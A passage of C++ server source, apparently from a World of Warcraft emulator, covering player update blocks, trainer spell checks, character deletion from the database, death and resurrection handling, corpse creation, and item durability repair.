uint32 offset = i * 2;
// item entry
updateVisualBits.SetBit(PLAYER_VISIBLE_ITEM_1_ENTRYID + offset);
// enchant
updateVisualBits.SetBit(PLAYER_VISIBLE_ITEM_1_ENCHANTMENT + offset);
}
updateVisualBits.SetBit(PLAYER_CHOSEN_TITLE);
}
void Player::BuildCreateUpdateBlockForPlayer( UpdateData *data, Player *target ) const
{
if (target == this)
{
for(int i = 0; i < EQUIPMENT_SLOT_END; ++i)
{
if (m_items[i] == NULL)
continue;
m_items[i]->BuildCreateUpdateBlockForPlayer( data, target );
}
for(int i = INVENTORY_SLOT_BAG_START; i < BANK_SLOT_BAG_END; ++i)
{
if (m_items[i] == NULL)
continue;
m_items[i]->BuildCreateUpdateBlockForPlayer( data, target );
}
for(int i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
{
if (m_items[i] == NULL)
continue;
m_items[i]->BuildCreateUpdateBlockForPlayer( data, target );
}
}
Unit::BuildCreateUpdateBlockForPlayer( data, target );
}
void Player::DestroyForPlayer( Player *target, bool anim ) const
{
Unit::DestroyForPlayer( target, anim );
for(int i = 0; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (m_items[i] == NULL)
continue;
m_items[i]->DestroyForPlayer( target );
}
if (target == this)
{
for(int i = INVENTORY_SLOT_BAG_START; i < BANK_SLOT_BAG_END; ++i)
{
if (m_items[i] == NULL)
continue;
m_items[i]->DestroyForPlayer( target );
}
for(int i = KEYRING_SLOT_START; i < CURRENCYTOKEN_SLOT_END; ++i)
{
if (m_items[i] == NULL)
continue;
m_items[i]->DestroyForPlayer( target );
}
}
}
bool Player::HasSpell(uint32 spell) const
{
PlayerSpellMap::const_iterator itr = m_spells.find(spell);
return (itr != m_spells.end() && itr->second.state != PLAYERSPELL_REMOVED &&
!itr->second.disabled);
}
bool Player::HasActiveSpell(uint32 spell) const
{
PlayerSpellMap::const_iterator itr = m_spells.find(spell);
return (itr != m_spells.end() && itr->second.state != PLAYERSPELL_REMOVED &&
itr->second.active && !itr->second.disabled);
}
TrainerSpellState Player::GetTrainerSpellState(TrainerSpell const* trainer_spell, uint32 reqLevel) const
{
if (!trainer_spell)
return TRAINER_SPELL_RED;
if (!trainer_spell->learnedSpell)
return TRAINER_SPELL_RED;
// known spell
if (HasSpell(trainer_spell->learnedSpell))
return TRAINER_SPELL_GRAY;
// check race/class requirement
if (!IsSpellFitByClassAndRace(trainer_spell->learnedSpell))
return TRAINER_SPELL_RED;
bool prof = SpellMgr::IsProfessionSpell(trainer_spell->learnedSpell);
// check level requirement
if (!prof || GetSession()->GetSecurity() < AccountTypes(sWorld.getConfig(CONFIG_UINT32_TRADE_SKILL_GMIGNORE_LEVEL)))
if (getLevel() < reqLevel)
return TRAINER_SPELL_RED;
if (SpellChainNode const* spell_chain = sSpellMgr.GetSpellChainNode(trainer_spell->learnedSpell))
{
// check prev.rank requirement
if (spell_chain->prev && !HasSpell(spell_chain->prev))
return TRAINER_SPELL_RED;
// check additional spell requirement
if (spell_chain->req && !HasSpell(spell_chain->req))
return TRAINER_SPELL_RED;
}
// check skill requirement
if (!prof || GetSession()->GetSecurity() < AccountTypes(sWorld.getConfig(CONFIG_UINT32_TRADE_SKILL_GMIGNORE_SKILL)))
if (trainer_spell->reqSkill && GetBaseSkillValue(trainer_spell->reqSkill) < trainer_spell->reqSkillValue)
return TRAINER_SPELL_RED;
// exist, already checked at loading
SpellEntry const* spell = sSpellStore.LookupEntry(trainer_spell->learnedSpell);
// secondary prof. or not prof. spell
uint32 skill = spell->EffectMiscValue[1];
if (spell->Effect[1] != SPELL_EFFECT_SKILL || !IsPrimaryProfessionSkill(skill))
return TRAINER_SPELL_GREEN;
// check primary prof. limit
if (sSpellMgr.IsPrimaryProfessionFirstRankSpell(spell->Id) && GetFreePrimaryProfessionPoints() == 0)
return TRAINER_SPELL_GREEN_DISABLED;
return TRAINER_SPELL_GREEN;
}
/**
* Deletes a character from the database
*
* The way, how the characters will be deleted is decided based on the config option.
*
* @see Player::DeleteOldCharacters
*
* @param playerguid the low-GUID from the player which should be deleted
* @param accountId the account id from the player
* @param updateRealmChars when this flag is set, the amount of characters on that realm will be updated in the realmlist
* @param deleteFinally if this flag is set, the config option will be ignored and the character will be permanently removed from the database
*/
void Player::DeleteFromDB(ObjectGuid playerguid, uint32 accountId, bool updateRealmChars, bool deleteFinally)
{
// for nonexistent account avoid update realm
if (accountId == 0)
updateRealmChars = false;
uint32 charDelete_method = sWorld.getConfig(CONFIG_UINT32_CHARDELETE_METHOD);
uint32 charDelete_minLvl = sWorld.getConfig(CONFIG_UINT32_CHARDELETE_MIN_LEVEL);
// if we want to finally delete the character or the character does not meet the level requirement, we set it to mode 0
if (deleteFinally || Player::GetLevelFromDB(playerguid) < charDelete_minLvl)
charDelete_method = 0;
uint32 lowguid = playerguid.GetCounter();
// convert corpse to bones if exist (to prevent exiting Corpse in World without DB entry)
// bones will be deleted by corpse/bones deleting thread shortly
sObjectAccessor.ConvertCorpseForPlayer(playerguid);
// remove from guild
if (uint32 guildId = GetGuildIdFromDB(playerguid))
{
if (Guild* guild = sGuildMgr.GetGuildById(guildId))
{
if (guild->DelMember(playerguid))
{
guild->Disband();
delete guild;
}
}
}
// remove from arena teams
LeaveAllArenaTeams(playerguid);
// the player was uninvited already on logout so just remove from group
QueryResult *resultGroup = CharacterDatabase.PQuery("SELECT groupId FROM group_member WHERE memberGuid='%u'", lowguid);
if (resultGroup)
{
uint32 groupId = (*resultGroup)[0].GetUInt32();
delete resultGroup;
if (Group* group = sObjectMgr.GetGroupById(groupId))
RemoveFromGroup(group, playerguid);
}
// remove signs from petitions (also remove petitions if owner);
RemovePetitionsAndSigns(playerguid, 10);
switch(charDelete_method)
{
// completely remove from the database
case 0:
{
// return back all mails with COD and Item 0 1 2 3 4 5 6 7
QueryResult *resultMail = CharacterDatabase.PQuery("SELECT id,messageType,mailTemplateId,sender,subject,body,money,has_items FROM mail WHERE receiver='%u' AND has_items<>0 AND cod<>0", lowguid);
if (resultMail)
{
do
{
Field *fields = resultMail->Fetch();
uint32 mail_id = fields[0].GetUInt32();
uint16 mailType = fields[1].GetUInt16();
uint16 mailTemplateId= fields[2].GetUInt16();
uint32 sender = fields[3].GetUInt32();
std::string subject = fields[4].GetCppString();
std::string body = fields[5].GetCppString();
uint32 money = fields[6].GetUInt32();
bool has_items = fields[7].GetBool();
//we can return mail now
//so firstly delete the old one
CharacterDatabase.PExecute("DELETE FROM mail WHERE id = '%u'", mail_id);
// mail not from player
if (mailType != MAIL_NORMAL)
{
if (has_items)
CharacterDatabase.PExecute("DELETE FROM mail_items WHERE mail_id = '%u'", mail_id);
continue;
}
MailDraft draft;
if (mailTemplateId)
draft.SetMailTemplate(mailTemplateId, false);// items already included
else
draft.SetSubjectAndBody(subject, body);
if (has_items)
{
// data needs to be at first place for Item::LoadFromDB
// 0 1 2 3
QueryResult *resultItems = CharacterDatabase.PQuery("SELECT data,text,item_guid,item_template FROM mail_items JOIN item_instance ON item_guid = guid WHERE mail_id='%u'", mail_id);
if (resultItems)
{
do
{
Field *fields2 = resultItems->Fetch();
uint32 item_guidlow = fields2[2].GetUInt32();
uint32 item_template = fields2[3].GetUInt32();
ItemPrototype const* itemProto = ObjectMgr::GetItemPrototype(item_template);
if (!itemProto)
{
CharacterDatabase.PExecute("DELETE FROM item_instance WHERE guid = '%u'", item_guidlow);
continue;
}
Item *pItem = NewItemOrBag(itemProto);
if (!pItem->LoadFromDB(item_guidlow, fields2, playerguid))
{
pItem->FSetState(ITEM_REMOVED);
pItem->SaveToDB(); // it also deletes item object !
continue;
}
draft.AddItem(pItem);
}
while (resultItems->NextRow());
delete resultItems;
}
}
CharacterDatabase.PExecute("DELETE FROM mail_items WHERE mail_id = '%u'", mail_id);
uint32 pl_account = sAccountMgr.GetPlayerAccountIdByGUID(playerguid);
draft.SetMoney(money).SendReturnToSender(pl_account, playerguid, ObjectGuid(HIGHGUID_PLAYER, sender));
}
while (resultMail->NextRow());
delete resultMail;
}
// unsummon and delete for pets in world is not required: player deleted from CLI or character list with not loaded pet.
// Get guids of character's pets, will deleted in transaction
QueryResult *resultPets = CharacterDatabase.PQuery("SELECT id FROM character_pet WHERE owner = '%u'", lowguid);
// delete char from friends list when selected chars is online (non existing - error)
QueryResult *resultFriend = CharacterDatabase.PQuery("SELECT DISTINCT guid FROM character_social WHERE friend = '%u'", lowguid);
// NOW we can finally clear other DB data related to character
CharacterDatabase.BeginTransaction();
if (resultPets)
{
do
{
Field *fields3 = resultPets->Fetch();
uint32 petguidlow = fields3[0].GetUInt32();
//do not create separate transaction for pet delete otherwise we will get fatal error!
Pet::DeleteFromDB(petguidlow, false);
} while (resultPets->NextRow());
delete resultPets;
}
// cleanup friends for online players, offline case will cleanup later in code
if (resultFriend)
{
do
{
Field* fieldsFriend = resultFriend->Fetch();
if (Player* sFriend = sObjectAccessor.FindPlayer(ObjectGuid(HIGHGUID_PLAYER, fieldsFriend[0].GetUInt32())))
{
if (sFriend->IsInWorld())
{
sFriend->GetSocial()->RemoveFromSocialList(playerguid, false);
sSocialMgr.SendFriendStatus(sFriend, FRIEND_REMOVED, playerguid, false);
}
}
} while (resultFriend->NextRow());
delete resultFriend;
}
CharacterDatabase.PExecute("DELETE FROM characters WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_account_data WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_declinedname WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_action WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_aura WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_battleground_data WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_gifts WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_glyphs WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_homebind WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_instance WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM group_instance WHERE leaderGuid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_inventory WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_queststatus WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_queststatus_daily WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_queststatus_weekly WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_reputation WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_skills WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_spell WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_spell_cooldown WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_talent WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_ticket WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM item_instance WHERE owner_guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_social WHERE guid = '%u' OR friend='%u'", lowguid, lowguid);
CharacterDatabase.PExecute("DELETE FROM mail WHERE receiver = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM mail_items WHERE receiver = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_pet WHERE owner = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_pet_declinedname WHERE owner = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_achievement WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_achievement_progress WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM character_equipmentsets WHERE guid = '%u'", lowguid);
CharacterDatabase.PExecute("DELETE FROM guild_eventlog WHERE PlayerGuid1 = '%u' OR PlayerGuid2 = '%u'", lowguid, lowguid);
CharacterDatabase.PExecute("DELETE FROM guild_bank_eventlog WHERE PlayerGuid = '%u'", lowguid);
CharacterDatabase.CommitTransaction();
break;
}
// The character gets unlinked from the account, the name gets freed up and appears as deleted ingame
case 1:
CharacterDatabase.PExecute("UPDATE characters SET deleteInfos_Name=name, deleteInfos_Account=account, deleteDate='" UI64FMTD "', name='', account=0 WHERE guid=%u", uint64(time(NULL)), lowguid);
break;
default:
sLog.outError("Player::DeleteFromDB: Unsupported delete method: %u.", charDelete_method);
}
if (updateRealmChars)
sAccountMgr.UpdateCharactersCount(accountId, realmID);
}
/**
* Characters which were kept back in the database after being deleted and are now too old (see config option "CharDelete.KeepDays"), will be completely deleted.
*
* @see Player::DeleteFromDB
*/
void Player::DeleteOldCharacters()
{
uint32 keepDays = sWorld.getConfig(CONFIG_UINT32_CHARDELETE_KEEP_DAYS);
if (!keepDays)
return;
Player::DeleteOldCharacters(keepDays);
}
/**
* Characters which were kept back in the database after being deleted and are older than the specified amount of days, will be completely deleted.
*
* @see Player::DeleteFromDB
*
* @param keepDays overrite the config option by another amount of days
*/
void Player::DeleteOldCharacters(uint32 keepDays)
{
sLog.outString("Player::DeleteOldChars: Deleting all characters which have been deleted %u days before...", keepDays);
QueryResult *resultChars = CharacterDatabase.PQuery("SELECT guid, deleteInfos_Account FROM characters WHERE deleteDate IS NOT NULL AND deleteDate < '" UI64FMTD "'", uint64(time(NULL) - time_t(keepDays * DAY)));
if (resultChars)
{
sLog.outString("Player::DeleteOldChars: Found %u character(s) to delete",uint32(resultChars->GetRowCount()));
do
{
Field *charFields = resultChars->Fetch();
ObjectGuid guid = ObjectGuid(HIGHGUID_PLAYER, charFields[0].GetUInt32());
Player::DeleteFromDB(guid, charFields[1].GetUInt32(), true, true);
} while(resultChars->NextRow());
delete resultChars;
}
}
void Player::SetMovement(PlayerMovementType pType)
{
WorldPacket data;
switch(pType)
{
case MOVE_ROOT: data.Initialize(SMSG_FORCE_MOVE_ROOT, GetPackGUID().size()+4); break;
case MOVE_UNROOT: data.Initialize(SMSG_FORCE_MOVE_UNROOT, GetPackGUID().size()+4); break;
case MOVE_WATER_WALK: data.Initialize(SMSG_MOVE_WATER_WALK, GetPackGUID().size()+4); break;
case MOVE_LAND_WALK: data.Initialize(SMSG_MOVE_LAND_WALK, GetPackGUID().size()+4); break;
default:
sLog.outError("Player::SetMovement: Unsupported move type (%d), data not sent to client.",pType);
return;
}
data << GetPackGUID();
data << uint32(0);
GetSession()->SendPacket( &data );
}
/* Preconditions:
- a resurrectable corpse must not be loaded for the player (only bones)
- the player must be in world
*/
void Player::BuildPlayerRepop()
{
WorldPacket data(SMSG_PRE_RESURRECT, GetPackGUID().size());
data << GetPackGUID();
GetSession()->SendPacket(&data);
if (getRace() == RACE_NIGHTELF)
CastSpell(this, 20584, true); // auras SPELL_AURA_INCREASE_SPEED(+speed in wisp form), SPELL_AURA_INCREASE_SWIM_SPEED(+swim speed in wisp form), SPELL_AURA_TRANSFORM (to wisp form)
CastSpell(this, 8326, true); // auras SPELL_AURA_GHOST, SPELL_AURA_INCREASE_SPEED(why?), SPELL_AURA_INCREASE_SWIM_SPEED(why?)
// there must be SMSG.FORCE_RUN_SPEED_CHANGE, SMSG.FORCE_SWIM_SPEED_CHANGE, SMSG.MOVE_WATER_WALK
// there must be SMSG.STOP_MIRROR_TIMER
// there we must send 888 opcode
// the player cannot have a corpse already, only bones which are not returned by GetCorpse
if (GetCorpse())
{
sLog.outError("BuildPlayerRepop: player %s(%d) already has a corpse", GetName(), GetGUIDLow());
MANGOS_ASSERT(false);
}
// create a corpse and place it at the player's location
Corpse *corpse = CreateCorpse();
if(!corpse)
{
sLog.outError("Error creating corpse for Player %s [%u]", GetName(), GetGUIDLow());
return;
}
GetMap()->Add(corpse);
// convert player body to ghost
if (getDeathState() != GHOULED)
SetHealth( 1 );
SetMovement(MOVE_WATER_WALK);
if(!GetSession()->isLogingOut())
SetMovement(MOVE_UNROOT);
// BG - remove insignia related
RemoveFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_SKINNABLE);
if (getDeathState() != GHOULED)
SendCorpseReclaimDelay();
// to prevent cheating
corpse->ResetGhostTime();
StopMirrorTimers(); //disable timers(bars)
// set and clear other
SetByteValue(UNIT_FIELD_BYTES_1, 3, UNIT_BYTE1_FLAG_ALWAYS_STAND);
}
void Player::ResurrectPlayer(float restore_percent, bool applySickness)
{
WorldPacket data(SMSG_DEATH_RELEASE_LOC, 4*4); // remove spirit healer position
data << uint32(-1);
data << float(0);
data << float(0);
data << float(0);
GetSession()->SendPacket(&data);
// speed change, land walk
// remove death flag + set aura
SetByteValue(UNIT_FIELD_BYTES_1, 3, 0x00);
SetDeathState(ALIVE);
if (getRace() == RACE_NIGHTELF)
RemoveAurasDueToSpell(20584); // speed bonuses
RemoveAurasDueToSpell(8326); // SPELL_AURA_GHOST
// refer-a-friend flag - maybe wrong and hacky
if (GetAccountLinkedState() != STATE_NOT_LINKED)
SetFlag(UNIT_DYNAMIC_FLAGS, UNIT_DYNFLAG_REFER_A_FRIEND);
SetMovement(MOVE_LAND_WALK);
SetMovement(MOVE_UNROOT);
m_deathTimer = 0;
// set health/powers (0- will be set in caller)
if (restore_percent>0.0f)
{
SetHealth(uint32(GetMaxHealth()*restore_percent));
SetPower(POWER_MANA, uint32(GetMaxPower(POWER_MANA)*restore_percent));
SetPower(POWER_RAGE, 0);
SetPower(POWER_ENERGY, uint32(GetMaxPower(POWER_ENERGY)*restore_percent));
}
// trigger update zone for alive state zone updates
uint32 newzone, newarea;
GetZoneAndAreaId(newzone,newarea);
UpdateZone(newzone,newarea);
// update visibility of world around viewpoint
m_camera.UpdateVisibilityForOwner();
// update visibility of player for nearby cameras
UpdateObjectVisibility();
if(!applySickness)
return;
//Characters from level 1-10 are not affected by resurrection sickness.
//Characters from level 11-19 will suffer from one minute of sickness
//for each level they are above 10.
//Characters level 20 and up suffer from ten minutes of sickness.
int32 startLevel = sWorld.getConfig(CONFIG_INT32_DEATH_SICKNESS_LEVEL);
if (int32(getLevel()) >= startLevel)
{
// set resurrection sickness
CastSpell(this,SPELL_ID_PASSIVE_RESURRECTION_SICKNESS,true);
// not full duration
if (int32(getLevel()) < startLevel+9)
{
int32 delta = (int32(getLevel()) - startLevel + 1)*MINUTE;
if (SpellAuraHolderPtr holder = GetSpellAuraHolder(SPELL_ID_PASSIVE_RESURRECTION_SICKNESS))
{
holder->SetAuraDuration(delta*IN_MILLISECONDS);
holder->SendAuraUpdate(false);
}
}
}
}
void Player::KillPlayer()
{
SetMovement(MOVE_ROOT);
StopMirrorTimers(); //disable timers(bars)
SetDeathState(CORPSE);
//SetFlag( UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_IN_PVP );
SetUInt32Value(UNIT_DYNAMIC_FLAGS, UNIT_DYNFLAG_NONE);
ApplyModByteFlag(PLAYER_FIELD_BYTES, 0, PLAYER_FIELD_BYTE_RELEASE_TIMER, !sMapStore.LookupEntry(GetMapId())->Instanceable());
// 6 minutes until repop at graveyard
m_deathTimer = 6*MINUTE*IN_MILLISECONDS;
UpdateCorpseReclaimDelay(); // dependent at use SetDeathPvP() call before kill
// don't create corpse at this moment, player might be falling
// update visibility
UpdateObjectVisibility();
}
Corpse* Player::CreateCorpse()
{
// prevent existence 2 corpse for player
SpawnCorpseBones();
Corpse *corpse = new Corpse( (m_ExtraFlags & PLAYER_EXTRA_PVP_DEATH) ? CORPSE_RESURRECTABLE_PVP : CORPSE_RESURRECTABLE_PVE );
SetPvPDeath(false);
if (!corpse->Create(sObjectMgr.GenerateCorpseLowGuid(), this))
{
delete corpse;
return NULL;
}
uint8 skin = GetByteValue(PLAYER_BYTES, 0);
uint8 face = GetByteValue(PLAYER_BYTES, 1);
uint8 hairstyle = GetByteValue(PLAYER_BYTES, 2);
uint8 haircolor = GetByteValue(PLAYER_BYTES, 3);
uint8 facialhair = GetByteValue(PLAYER_BYTES_2, 0);
corpse->SetByteValue(CORPSE_FIELD_BYTES_1, 1, getRace());
corpse->SetByteValue(CORPSE_FIELD_BYTES_1, 2, getGender());
corpse->SetByteValue(CORPSE_FIELD_BYTES_1, 3, skin);
corpse->SetByteValue(CORPSE_FIELD_BYTES_2, 0, face);
corpse->SetByteValue(CORPSE_FIELD_BYTES_2, 1, hairstyle);
corpse->SetByteValue(CORPSE_FIELD_BYTES_2, 2, haircolor);
corpse->SetByteValue(CORPSE_FIELD_BYTES_2, 3, facialhair);
uint32 flags = CORPSE_FLAG_UNK2;
if (HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_HIDE_HELM))
flags |= CORPSE_FLAG_HIDE_HELM;
if (HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_HIDE_CLOAK))
flags |= CORPSE_FLAG_HIDE_CLOAK;
if (InBattleGround() && !InArena())
flags |= CORPSE_FLAG_LOOTABLE; // to be able to remove insignia
corpse->SetUInt32Value( CORPSE_FIELD_FLAGS, flags );
corpse->SetUInt32Value( CORPSE_FIELD_DISPLAY_ID, GetNativeDisplayId() );
corpse->SetUInt32Value( CORPSE_FIELD_GUILD, GetGuildId() );
uint32 iDisplayID;
uint32 iIventoryType;
uint32 _cfi;
for (int i = 0; i < EQUIPMENT_SLOT_END; ++i)
{
if (m_items[i])
{
iDisplayID = m_items[i]->GetProto()->DisplayInfoID;
iIventoryType = m_items[i]->GetProto()->InventoryType;
_cfi = iDisplayID | (iIventoryType << 24);
corpse->SetUInt32Value(CORPSE_FIELD_ITEM + i, _cfi);
}
}
// we not need saved corpses for BG/arenas
if (!GetMap()->IsBattleGroundOrArena())
corpse->SaveToDB();
// register for player, but not show
sObjectAccessor.AddCorpse(corpse);
return corpse;
}
void Player::SpawnCorpseBones()
{
if (sObjectAccessor.ConvertCorpseForPlayer(GetObjectGuid()))
if (!GetSession()->PlayerLogoutWithSave()) // at logout we will already store the player
SaveToDB(); // prevent loading as ghost without corpse
}
Corpse* Player::GetCorpse() const
{
return sObjectAccessor.GetCorpseForPlayerGUID(GetObjectGuid());
}
void Player::DurabilityLossAll(double percent, bool inventory)
{
for(int i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
if (Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
DurabilityLoss(pItem,percent);
if (inventory)
{
// bags not have durability
// for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
for(int i = INVENTORY_SLOT_ITEM_START; i < INVENTORY_SLOT_ITEM_END; ++i)
if (Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
DurabilityLoss(pItem,percent);
// keys not have durability
//for(int i = KEYRING_SLOT_START; i < KEYRING_SLOT_END; ++i)
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
if (Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
if (Item* pItem = GetItemByPos( i, j ))
DurabilityLoss(pItem,percent);
}
}
void Player::DurabilityLoss(Item* item, double percent)
{
if(!item )
return;
uint32 pMaxDurability = item ->GetUInt32Value(ITEM_FIELD_MAXDURABILITY);
if(!pMaxDurability)
return;
uint32 pDurabilityLoss = uint32(pMaxDurability*percent);
if (pDurabilityLoss < 1 )
pDurabilityLoss = 1;
DurabilityPointsLoss(item,pDurabilityLoss);
}
void Player::DurabilityPointsLossAll(int32 points, bool inventory)
{
for(int i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
if (Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
DurabilityPointsLoss(pItem,points);
if (inventory)
{
// bags not have durability
// for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
for(int i = INVENTORY_SLOT_ITEM_START; i < INVENTORY_SLOT_ITEM_END; ++i)
if (Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
DurabilityPointsLoss(pItem,points);
// keys not have durability
//for(int i = KEYRING_SLOT_START; i < KEYRING_SLOT_END; ++i)
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
if (Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
if (Item* pItem = GetItemByPos( i, j ))
DurabilityPointsLoss(pItem,points);
}
}
void Player::DurabilityPointsLoss(Item* item, int32 points)
{
int32 pMaxDurability = item->GetUInt32Value(ITEM_FIELD_MAXDURABILITY);
int32 pOldDurability = item->GetUInt32Value(ITEM_FIELD_DURABILITY);
int32 pNewDurability = pOldDurability - points;
if (pNewDurability < 0)
pNewDurability = 0;
else if (pNewDurability > pMaxDurability)
pNewDurability = pMaxDurability;
if (pOldDurability != pNewDurability)
{
// modify item stats _before_ Durability set to 0 to pass _ApplyItemMods internal check
if ( pNewDurability == 0 && pOldDurability > 0 && item->IsEquipped())
_ApplyItemMods(item,item->GetSlot(), false);
item->SetUInt32Value(ITEM_FIELD_DURABILITY, pNewDurability);
// modify item stats _after_ restore durability to pass _ApplyItemMods internal check
if ( pNewDurability > 0 && pOldDurability == 0 && item->IsEquipped())
_ApplyItemMods(item,item->GetSlot(), true);
item->SetState(ITEM_CHANGED, this);
}
}
void Player::DurabilityPointLossForEquipSlot(EquipmentSlots slot)
{
if (Item *pItem = GetItemByPos( INVENTORY_SLOT_BAG_0, slot ))
DurabilityPointsLoss(pItem,1);
}
uint32 Player::DurabilityRepairAll(bool cost, float discountMod, bool guildBank)
{
uint32 TotalCost = 0;
// equipped, backpack, bags itself
for(int i = EQUIPMENT_SLOT_START; i < INVENTORY_SLOT_ITEM_END; ++i)
TotalCost += DurabilityRepair(( (INVENTORY_SLOT_BAG_0 << 8) | i ),cost,discountMod, guildBank);
// bank, buyback and keys not repaired
// items in inventory bags
for(int j = INVENTORY_SLOT_BAG_START; j < INVENTORY_SLOT_BAG_END; ++j)
for(int i = 0; i < MAX_BAG_SIZE; ++i)
TotalCost += DurabilityRepair(( (j << 8) | i ),cost,discountMod, guildBank);
return TotalCost;
}
uint32 Player::DurabilityRepair(uint16 pos, bool cost, float discountMod, bool guildBank)
{
Item* item = GetItemByPos(pos);
uint32 TotalCost = 0;
if(!item)
return TotalCost;
uint32 maxDurability = item->GetUInt32Value(ITEM_FIELD_MAXDURABILITY);
if(!maxDurability)
return TotalCost;
uint32 curDurability = item->GetUInt32Value(ITEM_FIELD_DURABILITY);
if (cost)
{
uint32 LostDurability = maxDurability - curDurability;
if (LostDurability>0)
{
ItemPrototype const *ditemProto = item->GetProto();
DurabilityCostsEntry const *dcost = sDurabilityCostsStore.LookupEntry(ditemProto->ItemLevel);
if(!dcost)
{
sLog.outError("RepairDurability: Wrong item lvl %u", ditemProto->ItemLevel);
return TotalCost;
}
uint32 dQualitymodEntryId = (ditemProto->Quality+1)*2;
DurabilityQualityEntry const *dQualitymodEntry = sDurabilityQualityStore.LookupEntry(dQualitymodEntryId);
if(!dQualitymodEntry)
{
sLog.outError("RepairDurability: Wrong dQualityModEntry %u", dQualitymodEntryId);
return TotalCost;
}
uint32 dmultiplier = dcost->multiplier[ItemSubClassToDurabilityMultiplierId(ditemProto->Class,ditemProto->SubClass)];
uint32 costs = uint32(LostDurability*dmultiplier*double(dQualitymodEntry->quality_mod));
costs = uint32(costs * discountMod);
if (costs==0) //fix for ITEM_QUALITY_ARTIFACT
costs = 1;
if (guildBank)
{
if (GetGuildId()==0)
{
DEBUG_LOG("You are not member of a guild");
return TotalCost;
}
Guild* pGuild = sGuildMgr.GetGuildById(GetGuildId());
if (!pGuild)
return TotalCost;
if (!pGuild->HasRankRight(GetRank(), GR_RIGHT_WITHDRAW_REPAIR))
{
DEBUG_LOG("You do not have rights to withdraw for repairs");
return TotalCost;
}
if (pGuild->GetMemberMoneyWithdrawRem(GetGUIDLow()) < costs)
{
DEBUG_LOG("You do not have enough money withdraw amount remaining");
return TotalCost;
}
if (pGuild->GetGuildBankMoney() < costs)
{
DEBUG_LOG("There is not enough money in bank");
return TotalCost;
}
pGuild->MemberMoneyWithdraw(costs, GetGUIDLow());
TotalCost = costs;
}
else if (GetMoney() < costs)
{
DEBUG_LOG("You do not have enough money");
return TotalCost;
}
else
ModifyMoney( -int32(costs) );
}
}
item->SetUInt32Value(ITEM_FIELD_DURABILITY, maxDurability);
item->SetState(ITEM_CHANGED, this);
// reapply mods for total broken and repaired item if equipped
if (IsEquipmentPos(pos) && !curDurability)
_ApplyItemMods(item,pos & 255, true);
return TotalCost;
}
void Player::RepopAtGraveyard()
{
// note: this can be called also when the player is alive
// for example from WorldSession::HandleMovementOpcodes
AreaTableEntry const *zone = GetAreaEntryByAreaID(GetAreaId());
// Such zones are considered unreachable as a ghost and the player must be automatically revived
if ((!isAlive() && zone && zone->flags & AREA_FLAG_NEED_FLY) || GetTransport() || GetPositionZ() < -500.0f)
{
ResurrectPlayer(0.5f);
SpawnCorpseBones();
}
WorldSafeLocsEntry const *ClosestGrave = NULL;
// Special handle for battleground maps
if ( BattleGround *bg = GetBattleGround() )
ClosestGrave = bg->GetClosestGraveYard(this);
else
ClosestGrave = sObjectMgr.GetClosestGraveYard( GetPositionX(), GetPositionY(), GetPositionZ(), GetMapId(), GetTeam() );
// stop countdown until repop
m_deathTimer = 0;
// if no grave found, stay at the current location
// and don't show spirit healer location
if (ClosestGrave)
{
TeleportTo(ClosestGrave->map_id, ClosestGrave->x, ClosestGrave->y, ClosestGrave->z, GetOrientation());
if (isDead()) // not send if alive, because it used in TeleportTo()
